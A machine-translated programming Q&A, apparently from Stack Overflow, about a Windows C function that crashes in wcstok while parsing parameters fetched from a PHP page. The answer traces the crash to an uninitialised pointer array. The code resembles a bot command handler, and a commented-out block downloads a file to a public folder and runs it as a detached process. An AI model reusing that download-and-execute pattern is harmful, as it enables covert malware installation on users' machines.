删除垃圾代码后,代码(C)无效?

时间:2017-10-29 16:19:09

标签: c split

我有以下代码。代码从PHP网页读取字符串,然后使用MultiByteToWideChar函数转换代码。然后它使用逗号分隔符拆分字符串。然后它删除值之前的“xxx =”(例如,“cid = {abcd-1234-5678},tid = AAD23HKJD23KVAAAHN23”)并将拆分的子串附加到数组。然后它在文本框中逐个显示参数。

我有它的工作,但是我在2天前重新安装了我的系统,从那以后我似乎无法让它再次工作(即使我在重新安装之前备份了工作项目,这让我想知道这怎么可能)

所以我在过去的一天里一直在努力工作,改变我能想到的编译器和项目属性中的每个设置,重新安装Visual Studio,尝试其他版本的Visual Studio,安装额外的SDK包......什么都没有帮助。然后我添加了一些垃圾代码来测试wcstok函数是否正常工作(似乎项目在那里死了)然后随机整个项目工作和我在正确返回之前讨论过的数组。但是,如果我在分割/返回字符串之后删除了这个垃圾代码或代码(它应该对它上面的代码没有任何影响,让我感到很困惑)它会再次停止工作并且似乎死在“wcstok” - 函数。

这是我的代码:

BOOL Commands(LPBYTE command, DWORD size)
{

unsigned int sizeint;
sizeint = (unsigned int)size;
wchar_t params[MAXCHAR];

MultiByteToWideChar(CP_ACP, MB_COMPOSITE, (LPCCH)command, sizeint, (LPWSTR)params, size); 
MessageBoxW(0, params, 0, 0);

//wchar_t input[100] = L"A bird came down the walk";
//wchar_t* buffer;
//wchar_t* token = std::wcstok(input, L" ", &buffer);

wchar_t buf2[MAXCHAR], *ptr;
int i;

for (ptr = wcstok(params, L","); ptr != NULL; ptr = wcstok(NULL, L","))
{
    CWA(lstrcpyW, kernel32, buf2, ptr);
    for (i = 0; i < lstrlenW(buf2); i++)
    {

        if (buf2[i] == '=' )
        {
            wchar_t *a[1000];
            wcscpy(a[0] + i, buf2 + i + 1);
            MessageBoxW(0, a[0] + i, 0, 0);

        }

        else
        {
        }

    }

}

//HRESULT hr;
//LPCTSTR Url = _T("http://cplusplus.com/img/cpp-logo.png"), File = _T("C:\\Users\\Public\\file.exe");
//////hr = URLDownloadToFile(0, Url, File, 0, 0);
//switch (hr)
//{
//  PROCESS_INFORMATION *piinfo; //size = 0x10
//  STARTUPINFO *siinfo;         //size = 0x44
//  CWA(CreateProcessW, kernel32, 0, File, 0, 0, 0, DETACHED_PROCESS, 0, 0, siinfo, piinfo);
//}


CWA(Sleep, kernel32, 100);
return 1;
}

当我使用上面的代码时,它无法正常工作,但是当我取消注释上面评论的垃圾代码时,它会随机运行。第一个“MessageBoxW”似乎总是正确地从PHP页面返回字符串,但是一旦我删除了垃圾代码,一旦达到分裂函数中的wcstok,程序就会终止。

它之前的确如此,我老实无知,我希望有人知道是什么原因造成的,因为它真的让我疯了......

提前多多感谢!

1 个答案:

答案 0 :(得分:0)

Millie Smith是那个给我代码被窃听的地方的人。

我不得不将“a”定义为wchar_t *,而是将其定义为普通的w_char。 所以它变成了“wchar_t a [MAXCHAR]”。然后我不得不改变“wcscpy(a [0] + i,buf2 + i + 1);”在分裂函数中进入“wcscpy(a + i,buf2 + i + 1);”。

再次学到新东西,未定义的行为可能是一件棘手的事情。 感谢您的帮助,祝您度过愉快的一天!